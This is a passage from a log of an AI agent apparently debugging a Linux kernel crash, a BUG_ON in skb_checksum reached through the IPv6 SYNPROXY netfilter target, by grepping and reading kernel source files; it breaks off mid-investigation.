I'm betting the root cause lies in how SYNPROXY and ip6tables might be modifying the packet header without properly updating the checksum fields, potentially in conjunction with the TUN driver's handling of these modified packets. This points towards an interaction between those components that warrants further investigation. I'll need to dig into the code at `net/core/skbuff.c:3606`, and the relevant netfilter and TUN driver code to understand how the checksumming is supposed to be managed, and if there's a race condition or mismatch.
|
| 7/2 |
2026/09/23 03:23 |
tool |
grepper |
0m
Args: map[Expression:BUG_ON PathPrefix:net/core/skbuff.c]
Results: map[Output:net/core/skbuff.c=316=static inline void skbuff_clear(struct sk_buff *skb)
--
net/core/skbuff.c-321- */
net/core/skbuff.c:322: BUILD_BUG_ON(offsetof(struct sk_buff, tail) <= 128);
net/core/skbuff.c-323- memset(skb, 0, 128);
--
net/core/skbuff.c=674=struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask,
--
net/core/skbuff.c-732- */
net/core/skbuff.c:733: BUILD_BUG_ON(SKB_FCLONE_UNAVAILABLE != 0);
net/core/skbuff.c-734- DEBUG_NET_WARN_ON_ONCE(skb->fclone != SKB_FCLONE_UNAVAILABLE);
--
net/core/skbuff.c=1552=EXPORT_SYMBOL(napi_consume_skb);
--
net/core/skbuff.c-1555-#define CHECK_SKB_FIELD(field) \
net/core/skbuff.c:1556: BUILD_BUG_ON(offsetof(struct sk_buff, field) != \
net/core/skbuff.c-1557- offsetof(struct sk_buff, headers.field)); \
--
net/core/skbuff.c=1728=static struct ubuf_info *msg_zerocopy_alloc(struct sock *sk, size_t size,
--
net/core/skbuff.c-1739-
net/core/skbuff.c:1740: BUILD_BUG_ON(sizeof(*uarg) > sizeof(skb->cb));
net/core/skbuff.c-1741- uarg = (void *)skb->cb;
--
net/core/skbuff.c=2180=struct sk_buff *skb_copy(const struct sk_buff *skb, gfp_t gfp_mask)
--
net/core/skbuff.c-2203-
net/core/skbuff.c:2204: BUG_ON(skb_copy_bits(skb, -headerlen, n->head, headerlen + skb->len));
net/core/skbuff.c-2205-
--
net/core/skbuff.c=2297=int pskb_expand_head(struct sk_buff *skb, int nhead, int ntail,
--
net/core/skbuff.c-2305-
net/core/skbuff.c:2306: BUG_ON(nhead < 0);
net/core/skbuff.c-2307-
net/core/skbuff.c:2308: BUG_ON(skb_shared(skb));
net/core/skbuff.c-2309-
--
net/core/skbuff.c=2505=struct sk_buff *skb_copy_expand(const struct sk_buff *skb,
--
net/core/skbuff.c-2541- /* Copy the linear header and data. */
net/core/skbuff.c:2542: BUG_ON(skb_copy_bits(skb, -head_copy_len, n->head + head_copy_off,
net/core/skbuff.c-2543- skb->len + head_copy_len));
--
net/core/skbuff.c=2878=void *__pskb_pull_tail(struct sk_buff *skb, int delta)
--
net/core/skbuff.c-2894-
net/core/skbuff.c:2895: BUG_ON(skb_copy_bits(skb, skb_headlen(skb),
net/core/skbuff.c-2896- skb_tail_pointer(skb), delta));
--
net/core/skbuff.c=3532=__wsum skb_checksum(const struct sk_buff *skb, int offset, int len, __wsum csum)
--
net/core/skbuff.c-3605- }
net/core/skbuff.c:3606: BUG_ON(len);
net/core/skbuff.c-3607-
--
net/core/skbuff.c=3614=__wsum skb_copy_and_csum_bits(const struct sk_buff *skb, int offset,
--
net/core/skbuff.c-3696- }
net/core/skbuff.c:3697: BUG_ON(len);
net/core/skbuff.c-3698- return csum;
--
net/core/skbuff.c=3703=u32 skb_crc32c(const struct sk_buff *skb, int offset, int len, u32 crc)
--
net/core/skbuff.c-3766- }
net/core/skbuff.c:3767: BUG_ON(len);
net/core/skbuff.c-3768-
--
net/core/skbuff.c=3880=skb_zerocopy(struct sk_buff *to, struct sk_buff *from, int len, int hlen)
--
net/core/skbuff.c-3887-
net/core/skbuff.c:3888: BUG_ON(!from->head_frag && !hlen);
net/core/skbuff.c-3889-
--
net/core/skbuff.c=3948=void skb_copy_and_csum_dev(const struct sk_buff *skb, u8 *to)
--
net/core/skbuff.c-3957-
net/core/skbuff.c:3958: BUG_ON(csstart > skb_headlen(skb));
net/core/skbuff.c-3959-
--
net/core/skbuff.c=4287=int skb_shift(struct sk_buff *tgt, struct sk_buff *skb, int shiftlen)
--
net/core/skbuff.c-4291-
net/core/skbuff.c:4292: BUG_ON(shiftlen > skb->len);
net/core/skbuff.c-4293-
--
net/core/skbuff.c-4388-
net/core/skbuff.c:4389: BUG_ON(todo > 0 && !skb_shinfo(skb)->nr_frags);
net/core/skbuff.c-4390-
--
net/core/skbuff.c=4615=unsigned int skb_find_text(struct sk_buff *skb, unsigned int from,
--
net/core/skbuff.c-4621-
net/core/skbuff.c:4622: BUILD_BUG_ON(sizeof(struct skb_seq_state) > sizeof(state.cb));
net/core/skbuff.c-4623-
--
net/core/skbuff.c=4664=void *skb_pull_rcsum(struct sk_buff *skb, unsigned int len)
--
net/core/skbuff.c-4667-
net/core/skbuff.c:4668: BUG_ON(len > skb->len);
net/core/skbuff.c-4669- __skb_pull(skb, len);
--
net/core/skbuff.c=4790=struct sk_buff *skb_segment(struct sk_buff *head_skb,
--
net/core/skbuff.c-4912- (skb_headlen(list_skb) == len || sg)) {
net/core/skbuff.c:4913: BUG_ON(skb_headlen(list_skb) > len);
net/core/skbuff.c-4914-
--
net/core/skbuff.c-4925- while (pos < offset + len) {
net/core/skbuff.c:4926: BUG_ON(i >= nfrags);
net/core/skbuff.c-4927-
--
net/core/skbuff.c-5032- if (!skb_headlen(list_skb)) {
net/core/skbuff.c:5033: BUG_ON(!nfrags);
net/core/skbuff.c-5034- } else {
net/core/skbuff.c:5035: BUG_ON(!list_skb->head_frag);
net/core/skbuff.c-5036-
--
net/core/skbuff.c=5185=static noinline void __init __no_profile skb_extensions_init(void)
net/core/skbuff.c-5186-{
net/core/skbuff.c:5187: BUILD_BUG_ON(SKB_EXT_NUM > 8);
net/core/skbuff.c:5188: BUILD_BUG_ON(skb_ext_total_length() > 255);
net/core/skbuff.c-5189-
--
net/core/skbuff.c=5242=__skb_to_sgvec(struct sk_buff *skb, struct scatterlist *sg, int offset, int len,
--
net/core/skbuff.c-5308- }
net/core/skbuff.c:5309: BUG_ON(len);
net/core/skbuff.c-5310- return elt;
--
net/core/skbuff.c=5483=static void skb_set_err_queue(struct sk_buff *skb)
--
net/core/skbuff.c-5488- skb->pkt_type = PACKET_OUTGOING;
net/core/skbuff.c:5489: BUILD_BUG_ON(PACKET_OUTGOING == 0);
net/core/skbuff.c-5490-}
--
net/core/skbuff.c=5586=static void __skb_complete_tx_timestamp(struct sk_buff *skb,
--
net/core/skbuff.c-5593-
net/core/skbuff.c:5594: BUILD_BUG_ON(sizeof(struct sock_exterr_skb) > sizeof(skb->cb));
net/core/skbuff.c-5595-
--
net/core/skbuff.c=6186=bool skb_try_coalesce(struct sk_buff *to, struct sk_buff *from,
--
net/core/skbuff.c-6210- if (len)
net/core/skbuff.c:6211: BUG_ON(skb_copy_bits(from, 0, skb_put(to, len), len));
net/core/skbuff.c-6212- *delta_truesize = 0;
]
|
| 8/2 |
2026/09/23 03:23 |
llm |
expert |
0m
Model:
Tokens:
input: 23300
output: 38
thoughts: 68
Thoughts: Here's my summary, as though I'm thinking through this:
**Digging into a Potential SKB Checksum Issue**
Okay, so I've got a `BUG_ON` triggering β specifically, it's at `net/core/skbuff.c:3606` inside the `skb_checksum` function. The code snippet shows `BUG_ON(len);` at the end of the function. This is interesting. A `BUG_ON` means a condition that *should never* occur has been detected, implying a serious logic error or unexpected state. The fact that it's related to checksum calculation within the SKB (Socket Buffer) infrastructure immediately raises my eyebrows. I need to understand what `len` represents here and why it's unacceptable for it to be non-zero at this point. Time to dive into the `skb_checksum` function itself in `net/core/skbuff.c` and unravel what's going on. I'll need to figure out the checksum algorithm and data it operates on to be able to understand the circumstances that lead `len` to being non-zero here. It's likely that a packet length is incorrect or something is not getting properly cleared, which means there could be issues with data integrity, performance, or even security. Let's see.
|
| 9/2 |
2026/09/23 03:24 |
tool |
read-file |
0m
Args: map[File:net/core/skbuff.c FirstLine:3532 LineCount:100]
Results: map[Contents:3532: __wsum skb_checksum(const struct sk_buff *skb, int offset, int len, __wsum csum)
3533: {
3534: int start = skb_headlen(skb);
3535: int i, copy = start - offset;
3536: struct sk_buff *frag_iter;
3537: int pos = 0;
3538:
3539: /* Checksum header. */
3540: if (copy > 0) {
3541: if (copy > len)
3542: copy = len;
3543: csum = csum_partial(skb->data + offset, copy, csum);
3544: if ((len -= copy) == 0)
3545: return csum;
3546: offset += copy;
3547: pos = copy;
3548: }
3549:
3550: if (WARN_ON_ONCE(!skb_frags_readable(skb)))
3551: return 0;
3552:
3553: for (i = 0; i < skb_shinfo(skb)->nr_frags; i++) {
3554: int end;
3555: skb_frag_t *frag = &skb_shinfo(skb)->frags[i];
3556:
3557: WARN_ON(start > offset + len);
3558:
3559: end = start + skb_frag_size(frag);
3560: if ((copy = end - offset) > 0) {
3561: u32 p_off, p_len, copied;
3562: struct page *p;
3563: __wsum csum2;
3564: u8 *vaddr;
3565:
3566: if (copy > len)
3567: copy = len;
3568:
3569: skb_frag_foreach_page(frag,
3570: skb_frag_off(frag) + offset - start,
3571: copy, p, p_off, p_len, copied) {
3572: vaddr = kmap_atomic(p);
3573: csum2 = csum_partial(vaddr + p_off, p_len, 0);
3574: kunmap_atomic(vaddr);
3575: csum = csum_block_add(csum, csum2, pos);
3576: pos += p_len;
3577: }
3578:
3579: if (!(len -= copy))
3580: return csum;
3581: offset += copy;
3582: }
3583: start = end;
3584: }
3585:
3586: skb_walk_frags(skb, frag_iter) {
3587: int end;
3588:
3589: WARN_ON(start > offset + len);
3590:
3591: end = start + frag_iter->len;
3592: if ((copy = end - offset) > 0) {
3593: __wsum csum2;
3594: if (copy > len)
3595: copy = len;
3596: csum2 = skb_checksum(frag_iter, offset - start, copy,
3597: 0);
3598: csum = csum_block_add(csum, csum2, pos);
3599: if ((len -= copy) == 0)
3600: return csum;
3601: offset += copy;
3602: pos += copy;
3603: }
3604: start = end;
3605: }
3606: BUG_ON(len);
3607:
3608: return csum;
3609: }
3610: EXPORT_SYMBOL(skb_checksum);
3611:
3612: /* Both of above in one bottle. */
3613:
3614: __wsum skb_copy_and_csum_bits(const struct sk_buff *skb, int offset,
3615: u8 *to, int len)
3616: {
3617: int start = skb_headlen(skb);
3618: int i, copy = start - offset;
3619: struct sk_buff *frag_iter;
3620: int pos = 0;
3621: __wsum csum = 0;
3622:
3623: /* Copy header. */
3624: if (copy > 0) {
3625: if (copy > len)
3626: copy = len;
3627: csum = csum_partial_copy_nocheck(skb->data + offset, to,
3628: copy);
3629: if ((len -= copy) == 0)
3630: return csum;
3631: offset += copy;
]
|
| 10/2 |
2026/09/23 03:24 |
llm |
expert |
0m
Model:
Tokens:
input: 25135
output: 36
thoughts: 304
Thoughts: **Debugging a checksum issue in IPv6 netfilter**
Okay, so this `BUG_ON(len)` is being triggered, meaning `skb_checksum` is being asked to checksum more bytes than the actual SKB contains. That's a classic sign of a length mismatch somewhere in the processing pipeline. Time to trace the call.
Alright, the call trace points to the issue:
```
nf_ip6_checksum+0x1bd/0x320 net/netfilter/utils.c:89
synproxy_tg6+0x1a4/0x6e0 net/ipv6/netfilter/ip6t_SYNPROXY.c:21
ip6t_do_table+0xd37/0x15b0 net/ipv6/netfilter/ip6_tables.c:366
nf_hook_entry_hookfn include/linux/netfilter.h:165 [inline]
nf_hook_slow+0xc5/0x220 net/netfilter/core.c:619
nf_hook include/linux/netfilter.h:280 [inline]
NF_HOOK+0x21f/0x3c0 include/linux/netfilter.h:323
ip6_input+0x16a/0x270 net/ipv6/ip6_input.c:545
```
So, the fault lies within `nf_ip6_checksum`, called from `synproxy_tg6` which is part of the `ip6t_SYNPROXY` target, which itself is part of the overall `ip6_tables` framework. The packet is then being processed in the input path.
Let's dive into `net/netfilter/utils.c:89`, where `nf_ip6_checksum` is defined. That's where the length calculation is likely wrong, or the SKB is being modified incorrectly before reaching that point. I'll need to carefully examine that function and the surrounding context within `synproxy_tg6` and `ip6_input` to see where the mismatch is occurring.
|
| 11/2 |
2026/09/23 03:24 |
tool |
read-file |
0m
Args: map[File:net/netfilter/utils.c FirstLine:50 LineCount:100]
Results: map[Contents: 50: switch (skb->ip_summed) {
51: case CHECKSUM_COMPLETE:
52: if (len == skb->len - dataoff)
53: return nf_ip_checksum(skb, hook, dataoff, protocol);
54: fallthrough;
55: case CHECKSUM_NONE:
56: skb->csum = csum_tcpudp_nofold(iph->saddr, iph->daddr, protocol,
57: skb->len - dataoff, 0);
58: skb->ip_summed = CHECKSUM_NONE;
59: return __skb_checksum_complete_head(skb, dataoff + len);
60: }
61: return csum;
62: }
63:
64: __sum16 nf_ip6_checksum(struct sk_buff *skb, unsigned int hook,
65: unsigned int dataoff, u8 protocol)
66: {
67: const struct ipv6hdr *ip6h = ipv6_hdr(skb);
68: __sum16 csum = 0;
69:
70: switch (skb->ip_summed) {
71: case CHECKSUM_COMPLETE:
72: if (hook != NF_INET_PRE_ROUTING && hook != NF_INET_LOCAL_IN)
73: break;
74: if (!csum_ipv6_magic(&ip6h->saddr, &ip6h->daddr,
75: skb->len - dataoff, protocol,
76: csum_sub(skb->csum,
77: skb_checksum(skb, 0,
78: dataoff, 0)))) {
79: skb->ip_summed = CHECKSUM_UNNECESSARY;
80: break;
81: }
82: fallthrough;
83: case CHECKSUM_NONE:
84: skb->csum = ~csum_unfold(
85: csum_ipv6_magic(&ip6h->saddr, &ip6h->daddr,
86: skb->len - dataoff,
87: protocol,
88: csum_sub(0,
89: skb_checksum(skb, 0,
90: dataoff, 0))));
91: csum = __skb_checksum_complete(skb);
92: }
93: return csum;
94: }
95: EXPORT_SYMBOL(nf_ip6_checksum);
96:
97: static __sum16 nf_ip6_checksum_partial(struct sk_buff *skb, unsigned int hook,
98: unsigned int dataoff, unsigned int len,
99: u8 protocol)
100: {
101: const struct ipv6hdr *ip6h = ipv6_hdr(skb);
102: __wsum hsum;
103: __sum16 csum = 0;
104:
105: switch (skb->ip_summed) {
106: case CHECKSUM_COMPLETE:
107: if (len == skb->len - dataoff)
108: return nf_ip6_checksum(skb, hook, dataoff, protocol);
109: fallthrough;
110: case CHECKSUM_NONE:
111: hsum = skb_checksum(skb, 0, dataoff, 0);
112: skb->csum = ~csum_unfold(csum_ipv6_magic(&ip6h->saddr,
113: &ip6h->daddr,
114: skb->len - dataoff,
115: protocol,
116: csum_sub(0, hsum)));
117: skb->ip_summed = CHECKSUM_NONE;
118: return __skb_checksum_complete_head(skb, dataoff + len);
119: }
120: return csum;
121: };
122:
123: __sum16 nf_checksum(struct sk_buff *skb, unsigned int hook,
124: unsigned int dataoff, u8 protocol,
125: unsigned short family)
126: {
127: __sum16 csum = 0;
128:
129: switch (family) {
130: case AF_INET:
131: csum = nf_ip_checksum(skb, hook, dataoff, protocol);
132: break;
133: case AF_INET6:
134: csum = nf_ip6_checksum(skb, hook, dataoff, protocol);
135: break;
136: }
137:
138: return csum;
139: }
140: EXPORT_SYMBOL_GPL(nf_checksum);
141:
142: __sum16 nf_checksum_partial(struct sk_buff *skb, unsigned int hook,
143: unsigned int dataoff, unsigned int len,
144: u8 protocol, unsigned short family)
145: {
146: __sum16 csum = 0;
147:
148: switch (family) {
149: case AF_INET:
]
|
| 12/2 |
2026/09/23 03:24 |
llm |
expert |
0m
Model:
Tokens:
input: 27503
output: 43
thoughts: 98
Thoughts: **Analyzing a Potential Bug in `skb_checksum`**
Okay, so I'm looking at line 89, which is `skb_checksum(skb, 0, dataoff, 0)`. I know that if `dataoff` exceeds the packet length, `skb_checksum` will trigger a `BUG_ON`, and that's something I want to avoid. My next thought is to figure out where `dataoff` is coming from, trace it back to its origin. It looks like it's passed from `synproxy_tg6`, and I can see the exact line it is called from - `net/ipv6/netfilter/ip6t_SYNPROXY.c:21`. Now I need to see how `dataoff` is calculated and what possible values it can take within that context. I'll need to investigate that part of the code thoroughly to identify any potential vulnerabilities that could cause `dataoff` to be incorrectly sized.
|
| 13/2 |
2026/09/23 03:24 |
tool |
read-file |
0m
Args: map[File:net/ipv6/netfilter/ip6t_SYNPROXY.c FirstLine:1 LineCount:100]
Results: map[Contents: 1: // SPDX-License-Identifier: GPL-2.0-only
2: /*
3: * Copyright (c) 2013 Patrick McHardy <kaber@trash.net>
4: */
5:
6: #include <linux/netfilter_ipv6/ip6_tables.h>
7: #include <linux/netfilter/x_tables.h>
8: #include <linux/netfilter/xt_SYNPROXY.h>
9:
10: #include <net/netfilter/nf_synproxy.h>
11:
12: static unsigned int
13: synproxy_tg6(struct sk_buff *skb, const struct xt_action_param *par)
14: {
15: const struct xt_synproxy_info *info = par->targinfo;
16: struct net *net = xt_net(par);
17: struct synproxy_net *snet = synproxy_pernet(net);
18: struct synproxy_options opts = {};
19: struct tcphdr *th, _th;
20:
21: if (nf_ip6_checksum(skb, xt_hooknum(par), par->thoff, IPPROTO_TCP))
22: return NF_DROP;
23:
24: th = skb_header_pointer(skb, par->thoff, sizeof(_th), &_th);
25: if (th == NULL)
26: return NF_DROP;
27:
28: if (!synproxy_parse_options(skb, par->thoff, th, &opts))
29: return NF_DROP;
30:
31: if (th->syn && !(th->ack || th->fin || th->rst)) {
32: /* Initial SYN from client */
33: this_cpu_inc(snet->stats->syn_received);
34:
35: if (th->ece && th->cwr)
36: opts.options |= XT_SYNPROXY_OPT_ECN;
37:
38: opts.options &= info->options;
39: opts.mss_encode = opts.mss_option;
40: opts.mss_option = info->mss;
41: if (opts.options & XT_SYNPROXY_OPT_TIMESTAMP)
42: synproxy_init_timestamp_cookie(info, &opts);
43: else
44: opts.options &= ~(XT_SYNPROXY_OPT_WSCALE |
45: XT_SYNPROXY_OPT_SACK_PERM |
46: XT_SYNPROXY_OPT_ECN);
47:
48: synproxy_send_client_synack_ipv6(net, skb, th, &opts);
49: consume_skb(skb);
50: return NF_STOLEN;
51:
52: } else if (th->ack && !(th->fin || th->rst || th->syn)) {
53: /* ACK from client */
54: if (synproxy_recv_client_ack_ipv6(net, skb, th, &opts,
55: ntohl(th->seq))) {
56: consume_skb(skb);
57: return NF_STOLEN;
58: } else {
59: return NF_DROP;
60: }
61: }
62:
63: return XT_CONTINUE;
64: }
65:
66: static int synproxy_tg6_check(const struct xt_tgchk_param *par)
67: {
68: struct synproxy_net *snet = synproxy_pernet(par->net);
69: const struct ip6t_entry *e = par->entryinfo;
70: int err;
71:
72: if (!(e->ipv6.flags & IP6T_F_PROTO) ||
73: e->ipv6.proto != IPPROTO_TCP ||
74: e->ipv6.invflags & XT_INV_PROTO)
75: return -EINVAL;
76:
77: err = nf_ct_netns_get(par->net, par->family);
78: if (err)
79: return err;
80:
81: err = nf_synproxy_ipv6_init(snet, par->net);
82: if (err) {
83: nf_ct_netns_put(par->net, par->family);
84: return err;
85: }
86:
87: return err;
88: }
89:
90: static void synproxy_tg6_destroy(const struct xt_tgdtor_param *par)
91: {
92: struct synproxy_net *snet = synproxy_pernet(par->net);
93:
94: nf_synproxy_ipv6_fini(snet, par->net);
95: nf_ct_netns_put(par->net, par->family);
96: }
97:
98: static struct xt_target synproxy_tg6_reg __read_mostly = {
99: .name = "SYNPROXY",
100: .family = NFPROTO_IPV6,
]
|
| 14/2 |
2026/09/23 03:24 |
llm |
expert |
0m
Model:
Tokens:
input: 29338
output: 43
thoughts: 224
Thoughts: **Checksum Calculation Vulnerability in `synproxy_tg6`**
Okay, let's break this down. I'm looking at this `synproxy_tg6` code, and I'm seeing a potential issue with the checksum calculation. Specifically, I'm focused on the call to `nf_ip6_checksum`. It's passing `par->thoff` as the `dataoff` argument, which makes sense, as that's the TCP header offset. However, if `par->thoff` somehow ends up being larger than the packet's length (`skb->len`), then things could go sideways.
The `nf_ip6_checksum` function, under this condition, calls `skb_checksum(skb, 0, dataoff, 0)`. The important part is that `skb_checksum` is then called with `len` set to `dataoff`. Now, if `dataoff` (which is equal to `par->thoff`) is indeed greater than `skb->len`, that `skb_checksum` function will trigger a `BUG_ON`. That's a serious problem β a crash, a denial of service.
Now, I need to figure out how this `par->thoff` value is calculated. I need to understand how we could end up with `par->thoff` being larger than `skb->len`. I see it's computed in `ip6t_do_table` within `net/ipv6/netfilter/ip6_tables.c`. That's where I need to focus my attention. It's time to dig into that code and find out exactly how this offset is determined and if there is any condition in which it can be larger than the packet size.
|
| 15/2 |
2026/09/23 03:24 |
tool |
read-file |
0m
Args: map[File:net/ipv6/netfilter/ip6_tables.c FirstLine:300 LineCount:100]
Results: map[Contents: 300: const struct xt_entry_target *t;
301: const struct xt_entry_match *ematch;
302: struct xt_counters *counter;
303:
304: WARN_ON(!e);
305: acpar.thoff = 0;
306: if (!ip6_packet_match(skb, indev, outdev, &e->ipv6,
307: &acpar.thoff, &acpar.fragoff, &acpar.hotdrop)) {
308: no_match:
309: e = ip6t_next_entry(e);
310: continue;
311: }
312:
313: xt_ematch_foreach(ematch, e) {
314: acpar.match = ematch->u.kernel.match;
315: acpar.matchinfo = ematch->data;
316: if (!acpar.match->match(skb, &acpar))
317: goto no_match;
318: }
319:
320: counter = xt_get_this_cpu_counter(&e->counters);
321: ADD_COUNTER(*counter, skb->len, 1);
322:
323: t = ip6t_get_target_c(e);
324: WARN_ON(!t->u.kernel.target);
325:
326: #if IS_ENABLED(CONFIG_NETFILTER_XT_TARGET_TRACE)
327: /* The packet is traced: log it */
328: if (unlikely(skb->nf_trace))
329: trace_packet(state->net, skb, hook, state->in,
330: state->out, table->name, private, e);
331: #endif
332: /* Standard target? */
333: if (!t->u.kernel.target->target) {
334: int v;
335:
336: v = ((struct xt_standard_target *)t)->verdict;
337: if (v < 0) {
338: /* Pop from stack? */
339: if (v != XT_RETURN) {
340: verdict = (unsigned int)(-v) - 1;
341: break;
342: }
343: if (stackidx == 0)
344: e = get_entry(table_base,
345: private->underflow[hook]);
346: else
347: e = ip6t_next_entry(jumpstack[--stackidx]);
348: continue;
349: }
350: if (table_base + v != ip6t_next_entry(e) &&
351: !(e->ipv6.flags & IP6T_F_GOTO)) {
352: if (unlikely(stackidx >= private->stacksize)) {
353: verdict = NF_DROP;
354: break;
355: }
356: jumpstack[stackidx++] = e;
357: }
358:
359: e = get_entry(table_base, v);
360: continue;
361: }
362:
363: acpar.target = t->u.kernel.target;
364: acpar.targinfo = t->data;
365:
366: verdict = t->u.kernel.target->target(skb, &acpar);
367: if (verdict == XT_CONTINUE)
368: e = ip6t_next_entry(e);
369: else
370: /* Verdict */
371: break;
372: } while (!acpar.hotdrop);
373:
374: xt_write_recseq_end(addend);
375: local_bh_enable();
376:
377: if (acpar.hotdrop)
378: return NF_DROP;
379: else return verdict;
380: }
381:
382: /* Figures out from what hook each rule can be called: returns 0 if
383: there are loops. Puts hook bitmask in comefrom. */
384: static int
385: mark_source_chains(const struct xt_table_info *newinfo,
386: unsigned int valid_hooks, void *entry0,
387: unsigned int *offsets)
388: {
389: unsigned int hook;
390:
391: /* No recursion; use packet counter to save back ptrs (reset
392: to 0 as we leave), and comefrom to save source hook bitmask */
393: for (hook = 0; hook < NF_INET_NUMHOOKS; hook++) {
394: unsigned int pos = newinfo->hook_entry[hook];
395: struct ip6t_entry *e = entry0 + pos;
396:
397: if (!(valid_hooks & (1 << hook)))
398: continue;
399:
]
|
| 16/2 |
2026/09/23 03:24 |
llm |
expert |
0m
Model:
Tokens:
input: 31486
output: 42
thoughts: 18
Thoughts: Okay, here's my interpretation of that thought process, tailored for an expert audience, and written in the first person:
**Decoding IPv6 Packet Matching Logic**
Alright, let me unpack this... I'm looking at `acpar.thoff`. It seems this variable is being populated or set, specifically within the context of `ip6_packet_match`. Okay, so `ip6_packet_match` is clearly the function or module responsible for determining if an IPv6 packet meets certain criteria, likely for filtering, forwarding, or security purposes. The fact that `acpar.thoff` is being set *within* this function is significant.
My immediate assumption is that `acpar.thoff` represents a "threshold offset" or some sort of accumulator value related to how far into the packet we have to look, or perhaps an offset for matching against a specific header or payload field within the IPv6 packet. It could be something like a bit offset related to an extension header.
Because I'm seeing this code, I'm already thinking about what the "a" in "acpar" represents, and what the overall structure of `acpar` might be, but without further context, my best guess is that `acpar` is related to a structure of some kind that could describe the match itself.
I'm mentally mapping the potential implications. Are we dealing with fragments? Jumbo payloads? Extension headers? Is this related to a specific protocol layered on top of IPv6, like TCP or UDP, or maybe even something more specialized? The `ip6_packet_match` function is the key; I need to understand its logic flow to fully grasp the role of `acpar.thoff` and how the threshold offset is calculated and used. Knowing the context of the match itself is crucial. Is it part of the connection table? Packet filtering? A more specific match for a network policy? I'm going to have to dive into that function and trace the use of `acpar.thoff` to get the full picture.
|
| 17/2 |
2026/09/23 03:24 |
tool |
read-file |
0m
Args: map[File:net/ipv6/netfilter/ip6_tables.c FirstLine:60 LineCount:100]
Results: map[Contents: 60: NF_INVF(ip6info, IP6T_INV_DSTIP,
61: ipv6_masked_addr_cmp(&ipv6->daddr, &ip6info->dmsk,
62: &ip6info->dst)))
63: return false;
64:
65: ret = ifname_compare_aligned(indev, ip6info->iniface, ip6info->iniface_mask);
66:
67: if (NF_INVF(ip6info, IP6T_INV_VIA_IN, ret != 0))
68: return false;
69:
70: ret = ifname_compare_aligned(outdev, ip6info->outiface, ip6info->outiface_mask);
71:
72: if (NF_INVF(ip6info, IP6T_INV_VIA_OUT, ret != 0))
73: return false;
74:
75: /* ... might want to do something with class and flowlabel here ... */
76:
77: /* look for the desired protocol header */
78: if (ip6info->flags & IP6T_F_PROTO) {
79: int protohdr;
80: unsigned short _frag_off;
81:
82: protohdr = ipv6_find_hdr(skb, protoff, -1, &_frag_off, NULL);
83: if (protohdr < 0) {
84: if (_frag_off == 0)
85: *hotdrop = true;
86: return false;
87: }
88: *fragoff = _frag_off;
89:
90: if (ip6info->proto == protohdr) {
91: if (ip6info->invflags & IP6T_INV_PROTO)
92: return false;
93:
94: return true;
95: }
96:
97: /* We need match for the '-p all', too! */
98: if ((ip6info->proto != 0) &&
99: !(ip6info->invflags & IP6T_INV_PROTO))
100: return false;
101: }
102: return true;
103: }
104:
105: /* should be ip6 safe */
106: static bool
107: ip6_checkentry(const struct ip6t_ip6 *ipv6)
108: {
109: if (ipv6->flags & ~IP6T_F_MASK)
110: return false;
111: if (ipv6->invflags & ~IP6T_INV_MASK)
112: return false;
113:
114: return true;
115: }
116:
117: static unsigned int
118: ip6t_error(struct sk_buff *skb, const struct xt_action_param *par)
119: {
120: net_info_ratelimited("error: `%s'\n", (const char *)par->targinfo);
121:
122: return NF_DROP;
123: }
124:
125: static inline struct ip6t_entry *
126: get_entry(const void *base, unsigned int offset)
127: {
128: return (struct ip6t_entry *)(base + offset);
129: }
130:
131: /* All zeroes == unconditional rule. */
132: /* Mildly perf critical (only if packet tracing is on) */
133: static inline bool unconditional(const struct ip6t_entry *e)
134: {
135: static const struct ip6t_ip6 uncond;
136:
137: return e->target_offset == sizeof(struct ip6t_entry) &&
138: memcmp(&e->ipv6, &uncond, sizeof(uncond)) == 0;
139: }
140:
141: static inline const struct xt_entry_target *
142: ip6t_get_target_c(const struct ip6t_entry *e)
143: {
144: return ip6t_get_target((struct ip6t_entry *)e);
145: }
146:
147: #if IS_ENABLED(CONFIG_NETFILTER_XT_TARGET_TRACE)
148: /* This cries for unification! */
149: static const char *const hooknames[] = {
150: [NF_INET_PRE_ROUTING] = "PREROUTING",
151: [NF_INET_LOCAL_IN] = "INPUT",
152: [NF_INET_FORWARD] = "FORWARD",
153: [NF_INET_LOCAL_OUT] = "OUTPUT",
154: [NF_INET_POST_ROUTING] = "POSTROUTING",
155: };
156:
157: enum nf_ip_trace_comments {
158: NF_IP6_TRACE_COMMENT_RULE,
159: NF_IP6_TRACE_COMMENT_RETURN,
]
|
| 18/2 |
2026/09/23 03:24 |
llm |
expert |
0m
Model:
Tokens:
input: 33467
output: 41
thoughts: 38
Thoughts: Okay, here's my take on those thoughts, framed as an expert's internal monologue:
**IPv6 Header Analysis: A Potential Issue**
Alright, let's see... *ipv6_find_hdr* updates the `protoff` value via a pointer. That's a critical detail. Now, I need to understand how that updated `protoff` is being used downstream. The implication is that we're moving through the IPv6 header chain. If that update isn't handled correctly, we could have some serious problems with the packet parsing logic.
Let me quickly check the signature of `ip6_packet_match`. I need to verify how that `protoff` value is being incorporated. I need to make sure `ip6_packet_match` is correctly interpreting the offset provided by `ipv6_find_hdr`. Any misalignment could lead to parsing errors, security vulnerabilities, or even crashes. It is important to know if any off-by-one errors can be introduced here. I need to ensure that the code is robust and accounts for all possible scenarios and header extensions. I want to avoid accidentally reading past the end of a buffer or misinterpreting the protocol type.
|
| 19/2 |
2026/09/23 03:24 |
tool |
read-file |
0m
Args: map[File:net/ipv6/netfilter/ip6_tables.c FirstLine:40 LineCount:20]
Results: map[Contents: 40: return xt_alloc_initial_table(ip6t, IP6T);
41: }
42: EXPORT_SYMBOL_GPL(ip6t_alloc_initial_table);
43:
44: /* Returns whether matches rule or not. */
45: /* Performance critical - called for every packet */
46: static inline bool
47: ip6_packet_match(const struct sk_buff *skb,
48: const char *indev,
49: const char *outdev,
50: const struct ip6t_ip6 *ip6info,
51: unsigned int *protoff,
52: u16 *fragoff, bool *hotdrop)
53: {
54: unsigned long ret;
55: const struct ipv6hdr *ipv6 = ipv6_hdr(skb);
56:
57: if (NF_INVF(ip6info, IP6T_INV_SRCIP,
58: ipv6_masked_addr_cmp(&ipv6->saddr, &ip6info->smsk,
59: &ip6info->src)) ||
]
|
| 20/2 |
2026/09/23 03:24 |
llm |
expert |
0m
Model:
Tokens:
input: 34119
output: 44
thoughts: 69
Thoughts: Okay, here's my assessment of that code snippet:
**Diving into IPv6 Header Processing**
